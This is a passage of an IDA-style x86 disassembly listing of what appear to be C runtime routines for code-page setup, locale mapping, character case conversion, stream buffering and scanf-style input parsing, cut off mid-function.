[ecx-4] retn sub_41FDC0 endp ; =============== S U B R O U T I N E ======================================= sub_41FDD0 proc near ; CODE XREF: sub_41F5D4+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FDD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDDE proc near ; CODE XREF: sub_4201A2+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41FF77 mov esi, eax pop ecx cmp esi, dword_4DAB64 mov [ebp+arg_0], esi jz loc_41FF6B xor ebx, ebx cmp esi, ebx jz loc_41FF61 xor edx, edx mov eax, offset dword_43A8A8 loc_41FE12: ; CODE XREF: sub_41FDDE+41j cmp [eax], esi jz short loc_41FE88 add eax, 30h inc edx cmp eax, offset dword_43A998 jl short loc_41FE12 lea eax, [ebp+var_18] push eax push esi call near ptr 2660000h nop cmp eax, 1 jnz loc_41FF59 push 40h xor eax, eax pop ecx mov edi, offset byte_4DAC80 cmp [ebp+var_18], 1 mov dword_4DAB64, esi rep stosd stosb mov dword_4DAD84, ebx jbe loc_41FF47 cmp [ebp+var_12], 0 jz loc_41FF1D lea ecx, [ebp+var_11] loc_41FE65: ; CODE XREF: sub_41FDDE+139j mov dl, [ecx] test dl, dl jz loc_41FF1D movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FE76: ; CODE XREF: sub_41FDDE+A8j cmp eax, edx ja loc_41FF11 or byte_4DAC81[eax], 4 inc eax jmp short loc_41FE76 ; --------------------------------------------------------------------------- loc_41FE88: ; CODE XREF: sub_41FDDE+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DAC80 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43A8B8[esi] loc_41FEA4: ; CODE XREF: sub_41FDDE+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FED7 loc_41FEAB: ; CODE XREF: sub_41FDDE+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FED7 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FED0 mov edx, [ebp+var_4] mov dl, byte_43A8A0[edx] loc_41FEC5: ; CODE XREF: sub_41FDDE+F0j or byte_4DAC81[eax], dl inc eax cmp eax, edi jbe short loc_41FEC5 loc_41FED0: ; CODE XREF: sub_41FDDE+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FEAB loc_41FED7: ; CODE XREF: sub_41FDDE+CBj ; sub_41FDDE+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FEA4 mov eax, [ebp+arg_0] mov dword_4DAB7C, 1 push eax mov dword_4DAB64, eax call sub_41FFC1 lea esi, dword_43A8AC[esi] mov edi, offset dword_4DAB70 movsd movsd pop ecx mov dword_4DAD84, eax movsd jmp short loc_41FF66 ; --------------------------------------------------------------------------- loc_41FF11: ; CODE XREF: sub_41FDDE+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FE65 loc_41FF1D: ; CODE XREF: sub_41FDDE+7Ej ; sub_41FDDE+8Bj push 1 pop eax loc_41FF20: ; CODE XREF: sub_41FDDE+14Fj or byte_4DAC81[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FF20 push esi call sub_41FFC1 pop ecx mov dword_4DAD84, eax mov dword_4DAB7C, 1 jmp short loc_41FF4D ; --------------------------------------------------------------------------- loc_41FF47: ; CODE XREF: sub_41FDDE+74j mov dword_4DAB7C, ebx loc_41FF4D: ; CODE XREF: sub_41FDDE+167j xor eax, eax mov edi, offset dword_4DAB70 stosd stosd stosd jmp short loc_41FF66 ; --------------------------------------------------------------------------- loc_41FF59: ; CODE XREF: sub_41FDDE+51j cmp dword_4D979C, ebx jz short loc_41FF6F loc_41FF61: ; CODE XREF: sub_41FDDE+27j call sub_41FFF4 loc_41FF66: ; CODE XREF: sub_41FDDE+131j ; sub_41FDDE+179j call sub_42001D loc_41FF6B: ; CODE XREF: sub_41FDDE+1Dj xor eax, eax jmp short loc_41FF72 ; --------------------------------------------------------------------------- loc_41FF6F: ; CODE XREF: sub_41FDDE+181j or eax, 0FFFFFFFFh loc_41FF72: ; CODE XREF: sub_41FDDE+18Fj pop edi pop esi pop ebx leave retn sub_41FDDE endp ; =============== S U B R O U T I N E ======================================= sub_41FF77 proc near ; CODE XREF: sub_41FDDE+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4D979C, 0 cmp eax, 0FFFFFFFEh jnz short loc_41FF97 mov dword_4D979C, 1 nop jmp near ptr 26518D4h ; --------------------------------------------------------------------------- loc_41FF97: ; CODE XREF: sub_41FF77+Ej cmp eax, 0FFFFFFFDh jnz short loc_41FFAC mov dword_4D979C, 1 nop jmp near ptr 26518F3h ; --------------------------------------------------------------------------- loc_41FFAC: ; CODE XREF: sub_41FF77+23j cmp eax, 0FFFFFFFCh jnz short locret_41FFC0 mov eax, dword_4D97E0 mov dword_4D979C, 1 locret_41FFC0: ; CODE XREF: sub_41FF77+38j retn sub_41FF77 endp ; =============== S U B R O U T I N E ======================================= sub_41FFC1 proc near ; CODE XREF: sub_41FDDE+118p ; sub_41FDDE+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41FFEE sub eax, 4 jz short loc_41FFE8 sub eax, 0Dh jz short loc_41FFE2 dec eax jz short loc_41FFDC xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FFC1+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41FFE2: ; CODE XREF: sub_41FFC1+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41FFE8: ; CODE XREF: sub_41FFC1+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41FFEE: ; CODE XREF: sub_41FFC1+9j mov eax, 411h retn sub_41FFC1 endp ; =============== S U B R O U T I N E ======================================= sub_41FFF4 proc near ; CODE XREF: sub_41FDDE:loc_41FF61p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DAC80 rep stosd stosb xor eax, eax mov edi, offset dword_4DAB70 mov dword_4DAB64, eax mov dword_4DAB7C, eax mov dword_4DAD84, eax stosd stosd stosd pop edi retn sub_41FFF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42001D proc near ; CODE XREF: sub_41FDDE:loc_41FF66p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DAB64 nop call near ptr 2660000h cmp eax, 1 jnz loc_420156 xor eax, eax mov esi, 100h loc_420047: ; CODE XREF: sub_42001D+34j mov [ebp+eax+var_114], al loc_42004E: ; DATA XREF: ___:004328B8o ; ___:004328C4o inc eax cmp eax, esi jb short loc_420047 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420098 push ebx push edi lea edx, [ebp+var_D] loc_420066: ; CODE XREF: sub_42001D+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_42008D sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_42008D: ; CODE XREF: sub_42001D+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420066 pop edi pop ebx loc_420098: ; CODE XREF: sub_42001D+42j push 0 lea eax, [ebp+var_514] push dword_4DAD84 push dword_4DAB64 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423BF4 push 0 lea eax, [ebp+var_214] push dword_4DAB64 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DAD84 call sub_4229D2 push 0 lea eax, [ebp+var_314] push dword_4DAB64 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DAD84 call sub_4229D2 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420113: ; CODE XREF: sub_42001D+135j mov dx, [ecx] test dl, 1 jz short loc_420131 or byte_4DAC81[eax], 10h mov dl, [ebp+eax+var_214] loc_420129: ; CODE XREF: sub_42001D+127j mov byte_4DAB80[eax], dl jmp short loc_42014D ; --------------------------------------------------------------------------- loc_420131: ; CODE XREF: sub_42001D+FCj test dl, 2 jz short loc_420146 or byte_4DAC81[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420129 ; --------------------------------------------------------------------------- loc_420146: ; CODE XREF: sub_42001D+117j and byte_4DAB80[eax], 0 loc_42014D: ; CODE XREF: sub_42001D+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420113 jmp short loc_42019F ; --------------------------------------------------------------------------- loc_420156: ; CODE XREF: sub_42001D+1Dj xor eax, eax mov esi, 100h loc_42015D: ; CODE XREF: sub_42001D+180j cmp eax, 41h jb short loc_42017B cmp eax, 5Ah ja short loc_42017B or byte_4DAC81[eax], 10h mov cl, al add cl, 20h loc_420173: ; CODE XREF: sub_42001D+174j mov byte_4DAB80[eax], cl jmp short loc_42019A ; --------------------------------------------------------------------------- loc_42017B: ; CODE XREF: sub_42001D+143j ; sub_42001D+148j cmp eax, 61h jb short loc_420193 cmp eax, 7Ah ja short loc_420193 or byte_4DAC81[eax], 20h mov cl, al sub cl, 20h jmp short loc_420173 ; --------------------------------------------------------------------------- loc_420193: ; CODE XREF: sub_42001D+161j ; sub_42001D+166j and byte_4DAB80[eax], 0 loc_42019A: ; CODE XREF: sub_42001D+15Cj inc eax cmp eax, esi jb short loc_42015D loc_42019F: ; CODE XREF: sub_42001D+137j pop esi leave retn sub_42001D endp ; =============== S U B R O U T I N E ======================================= sub_4201A2 proc near ; CODE XREF: ___:00422D83p ; ___:00422DDFp ... cmp dword_4DADAC, 0 jnz short locret_4201BD push 0FFFFFFFDh call sub_41FDDE pop ecx mov dword_4DADAC, 1 locret_4201BD: ; CODE XREF: sub_4201A2+7j retn sub_4201A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201BE proc near ; CODE XREF: sub_41C151+2Bp ; sub_41C151+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DAB7C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4201E2 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BD70 add esp, 0Ch jmp short loc_420245 ; --------------------------------------------------------------------------- loc_4201E2: ; CODE XREF: sub_4201BE+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420227 mov ecx, [ebp+arg_4] loc_4201ED: ; CODE XREF: sub_4201BE+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DAC81[esi], 4 mov [edi], al jz short loc_420211 inc edi inc ecx test edx, edx jz short loc_42021D mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420223 jmp short loc_420217 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4201BE+3Ej inc edi inc ecx test al, al jz short loc_420227 loc_420217: ; CODE XREF: sub_4201BE+51j test edx, edx jnz short loc_4201ED jmp short loc_420227 ; --------------------------------------------------------------------------- loc_42021D: ; CODE XREF: sub_4201BE+44j and byte ptr [edi-1], 0 jmp short loc_420227 ; --------------------------------------------------------------------------- loc_420223: ; CODE XREF: sub_4201BE+4Fj and byte ptr [edi-2], 0 loc_420227: ; CODE XREF: sub_4201BE+2Aj ; sub_4201BE+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420242 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420242: ; CODE XREF: sub_4201BE+6Fj mov eax, [ebp+arg_0] loc_420245: ; CODE XREF: sub_4201BE+22j pop edi pop ebp retn sub_4201BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420248 proc near ; CODE XREF: sub_41C326+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4D97D0, 0 push ebx jnz short loc_420273 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420311 cmp eax, 7Ah jg loc_420311 sub eax, 20h jmp loc_420311 ; --------------------------------------------------------------------------- loc_420273: ; CODE XREF: sub_420248+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_4202A6 cmp dword_43A88C, 1 jle short loc_420293 push 2 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_42029E ; --------------------------------------------------------------------------- loc_420293: ; CODE XREF: sub_420248+3Dj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 2 loc_42029E: ; CODE XREF: sub_420248+49j test eax, eax jnz short loc_4202A6 loc_4202A2: ; CODE XREF: sub_420248+AFj mov eax, ebx jmp short loc_420311 ; --------------------------------------------------------------------------- loc_4202A6: ; CODE XREF: sub_420248+34j ; sub_420248+58j mov edx, off_43A680 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4202C9 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_4202D2 ; --------------------------------------------------------------------------- loc_4202C9: ; CODE XREF: sub_420248+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_4202D2: ; CODE XREF: sub_420248+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_4202A2 cmp eax, 1 jnz short loc_420304 movzx eax, [ebp+var_4] jmp short loc_420311 ; --------------------------------------------------------------------------- loc_420304: ; CODE XREF: sub_420248+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420311: ; CODE XREF: sub_420248+14j ; sub_420248+1Dj ... pop ebx leave retn sub_420248 endp ; =============== S U B R O U T I N E ======================================= sub_420314 proc near ; CODE XREF: sub_41C545+1Dp ; sub_41DB5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4D9718, ecx mov eax, offset dword_43A998 loc_420325: ; CODE XREF: sub_420314+1Ej cmp ecx, [eax] jz short loc_420349 add eax, 8 inc edx cmp eax, offset dword_43AB00 jl short loc_420325 cmp ecx, 13h jb short loc_420356 cmp ecx, 24h ja short loc_420356 mov dword_4D9714, 0Dh retn ; --------------------------------------------------------------------------- loc_420349: ; CODE XREF: sub_420314+13j mov eax, dword_43A99C[edx*8] mov dword_4D9714, eax retn ; --------------------------------------------------------------------------- loc_420356: ; CODE XREF: sub_420314+23j ; sub_420314+28j cmp ecx, 0BCh jb short loc_420370 cmp ecx, 0CAh mov dword_4D9714, 8 jbe short locret_42037A loc_420370: ; CODE XREF: sub_420314+48j mov dword_4D9714, 16h locret_42037A: ; CODE XREF: sub_420314+5Aj retn sub_420314 endp ; =============== S U B R O U T I N E ======================================= sub_42037B proc near ; CODE XREF: sub_41C56F+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423D3D test eax, eax pop ecx jz short loc_420404 cmp esi, offset dword_43AD98 jnz short loc_420399 xor eax, eax jmp short loc_4203A4 ; --------------------------------------------------------------------------- loc_420399: ; CODE XREF: sub_42037B+18j cmp esi, offset dword_43ADB8 jnz short loc_420404 push 1 pop eax loc_4203A4: ; CODE XREF: sub_42037B+1Cj inc dword_4D98FC test word ptr [esi+0Ch], 10Ch jnz short loc_420404 cmp dword_4D97A0[eax*4], 0 push ebx push edi lea edi, ds:4D97A0h[eax*4] mov ebx, 1000h jnz short loc_4203EA push ebx call sub_41BC9B test eax, eax pop ecx mov [edi], eax jnz short loc_4203EA lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4203F7 ; --------------------------------------------------------------------------- loc_4203EA: ; CODE XREF: sub_42037B+4Dj ; sub_42037B+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4203F7: ; CODE XREF: sub_42037B+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420404: ; CODE XREF: sub_42037B+10j ; sub_42037B+24j ... xor eax, eax pop esi retn sub_42037B endp ; =============== S U B R O U T I N E ======================================= sub_420408 proc near ; CODE XREF: sub_41C56F+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420432 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420443 push esi call sub_41E32B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420432: ; CODE XREF: sub_420408+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420443 push eax call sub_41E32B pop ecx loc_420443: ; CODE XREF: sub_420408+10j ; sub_420408+32j pop esi retn sub_420408 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420445 proc near ; CODE XREF: sub_41CA73+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420E4B mov edi, [ebp+arg_0] jmp short loc_420474 ; --------------------------------------------------------------------------- loc_42046F: ; CODE XREF: sub_420445+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420474: ; CODE XREF: sub_420445+28j cmp dword_43A88C, 1 jle short loc_42048C movzx eax, al push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_42049B ; --------------------------------------------------------------------------- loc_42048C: ; CODE XREF: sub_420445+36j mov ecx, off_43A680 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_42049B: ; CODE XREF: sub_420445+45j cmp eax, ebx jz short loc_4204D5 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420ED2 pop ecx pop ecx push eax call sub_420EBB movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE10 add esp, 0Ch loc_4204C3: ; CODE XREF: sub_420445+8Ej test eax, eax jz short loc_4204D5 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE10 pop ecx jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204D5: ; CODE XREF: sub_420445+58j ; sub_420445+80j cmp byte ptr [esi], 25h jnz loc_420DB7 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_42050C: ; CODE XREF: sub_420445+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43A88C, 1 jle short loc_420529 movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_420538 ; --------------------------------------------------------------------------- loc_420529: ; CODE XREF: sub_420445+D3j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420538: ; CODE XREF: sub_420445+E2j test eax, eax jz short loc_42054E mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42054E: ; CODE XREF: sub_420445+F5j cmp ebx, 4Eh jg short loc_420591 jz short loc_4205B3 cmp ebx, 2Ah jz short loc_42058C cmp ebx, 46h jz short loc_4205B3 cmp ebx, 49h jz short loc_42056E cmp ebx, 4Ch jnz short loc_4205A0 inc [ebp+var_D] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42056E: ; CODE XREF: sub_420445+11Dj cmp byte ptr [esi+1], 36h jnz short loc_4205A0 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_4205A0 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42058C: ; CODE XREF: sub_420445+113j inc [ebp+var_E] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_420591: ; CODE XREF: sub_420445+10Cj cmp ebx, 68h jz short loc_4205AD cmp ebx, 6Ch jz short loc_4205A5 cmp ebx, 77h jz short loc_4205A8 loc_4205A0: ; CODE XREF: sub_420445+122j ; sub_420445+12Dj ... inc [ebp+var_F] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_4205A5: ; CODE XREF: sub_420445+154j inc [ebp+var_D] loc_4205A8: ; CODE XREF: sub_420445+159j inc [ebp+var_5] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_4205AD: ; CODE XREF: sub_420445+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_4205B3: ; CODE XREF: sub_420445+107j ; sub_420445+10Ej ... cmp [ebp+var_F], 0 jz loc_42050C cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4205D8 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4205D8: ; CODE XREF: sub_420445+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4205F6 mov al, [esi] cmp al, 53h jz short loc_4205F2 cmp al, 43h jz short loc_4205F2 or [ebp+var_5], 0FFh jmp short loc_4205F6 ; --------------------------------------------------------------------------- loc_4205F2: ; CODE XREF: sub_420445+1A1j ; sub_420445+1A5j mov [ebp+var_5], 1 loc_4205F6: ; CODE XREF: sub_420445+19Bj ; sub_420445+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_42062F cmp esi, 63h jz short loc_420620 cmp esi, 7Bh jz short loc_420620 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420ED2 pop ecx jmp short loc_42062B ; --------------------------------------------------------------------------- loc_420620: ; CODE XREF: sub_420445+1C5j ; sub_420445+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 loc_42062B: ; CODE XREF: sub_420445+1D9j pop ecx mov [ebp+var_14], eax loc_42062F: ; CODE XREF: sub_420445+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42063F cmp [ebp+var_C], eax jz loc_420E1B loc_42063F: ; CODE XREF: sub_420445+1EFj cmp esi, 6Fh jg loc_4208A6 jz loc_420B58 cmp esi, 63h jz loc_420883 cmp esi, 64h jz loc_420B58 jle loc_4208D0 cmp esi, 67h jle short loc_4206A3 cmp esi, 69h jz short loc_42068B cmp esi, 6Eh jnz loc_4208D0 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420D86 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_42068B: ; CODE XREF: sub_420445+229j push 64h pop esi loc_42068E: ; CODE XREF: sub_420445+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_420918 mov [ebp+var_17], 1 jmp loc_42091D ; --------------------------------------------------------------------------- loc_4206A3: ; CODE XREF: sub_420445+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_4206BF mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_4206C4 ; --------------------------------------------------------------------------- loc_4206BF: ; CODE XREF: sub_420445+26Aj cmp ebx, 2Bh jnz short loc_4206DB loc_4206C4: ; CODE XREF: sub_420445+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4206DE ; --------------------------------------------------------------------------- loc_4206DB: ; CODE XREF: sub_420445+27Dj mov edi, [ebp+arg_0] loc_4206DE: ; CODE XREF: sub_420445+294j cmp [ebp+var_20], 0 jz short loc_4206ED cmp [ebp+var_C], 15Dh jle short loc_4206F4 loc_4206ED: ; CODE XREF: sub_420445+29Dj mov [ebp+var_C], 15Dh loc_4206F4: ; CODE XREF: sub_420445+2A6j ; sub_420445+2F2j cmp dword_43A88C, 1 jle short loc_420709 push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420714 ; --------------------------------------------------------------------------- loc_420709: ; CODE XREF: sub_420445+2B6j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420714: ; CODE XREF: sub_420445+2C2j test eax, eax jz short loc_420739 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420739 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4206F4 ; --------------------------------------------------------------------------- loc_420739: ; CODE XREF: sub_420445+2D1j ; sub_420445+2DBj cmp byte_43A890, bl jnz short loc_4207A7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4207A7 inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax mov al, byte_43A890 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_420762: ; CODE XREF: sub_420445+360j cmp dword_43A88C, 1 jle short loc_420777 push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420782 ; --------------------------------------------------------------------------- loc_420777: ; CODE XREF: sub_420445+324j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420782: ; CODE XREF: sub_420445+330j test eax, eax jz short loc_4207A7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4207A7 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420762 ; --------------------------------------------------------------------------- loc_4207A7: ; CODE XREF: sub_420445+2FAj ; sub_420445+304j ... cmp [ebp+var_1C], 0 jz loc_42083F cmp ebx, 65h jz short loc_4207BF cmp ebx, 45h jnz loc_42083F loc_4207BF: ; CODE XREF: sub_420445+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42083F mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4207E6 mov [esi], al inc esi jmp short loc_4207EB ; --------------------------------------------------------------------------- loc_4207E6: ; CODE XREF: sub_420445+39Aj cmp ebx, 2Bh jnz short loc_420809 loc_4207EB: ; CODE XREF: sub_420445+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4207FA and [ebp+var_C], eax jmp short loc_420809 ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420445+3AEj ; sub_420445+3F8j inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420809: ; CODE XREF: sub_420445+3A4j ; sub_420445+3B3j cmp dword_43A88C, 1 jle short loc_42081E push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420829 ; --------------------------------------------------------------------------- loc_42081E: ; CODE XREF: sub_420445+3CBj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420829: ; CODE XREF: sub_420445+3D7j test eax, eax jz short loc_42083F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42083F inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4207FA ; --------------------------------------------------------------------------- loc_42083F: ; CODE XREF: sub_420445+366j ; sub_420445+374j ... dec [ebp+var_4] push edi push ebx call sub_420EBB cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420E4B cmp [ebp+var_E], 0 jnz loc_420DAC inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43AC30 add esp, 0Ch jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420883: ; CODE XREF: sub_420445+20Cj cmp [ebp+var_20], eax jnz short loc_420892 inc [ebp+var_C] mov [ebp+var_20], 1 loc_420892: ; CODE XREF: sub_420445+441j cmp [ebp+var_5], 0 jle short loc_42089C mov [ebp+var_16], 1 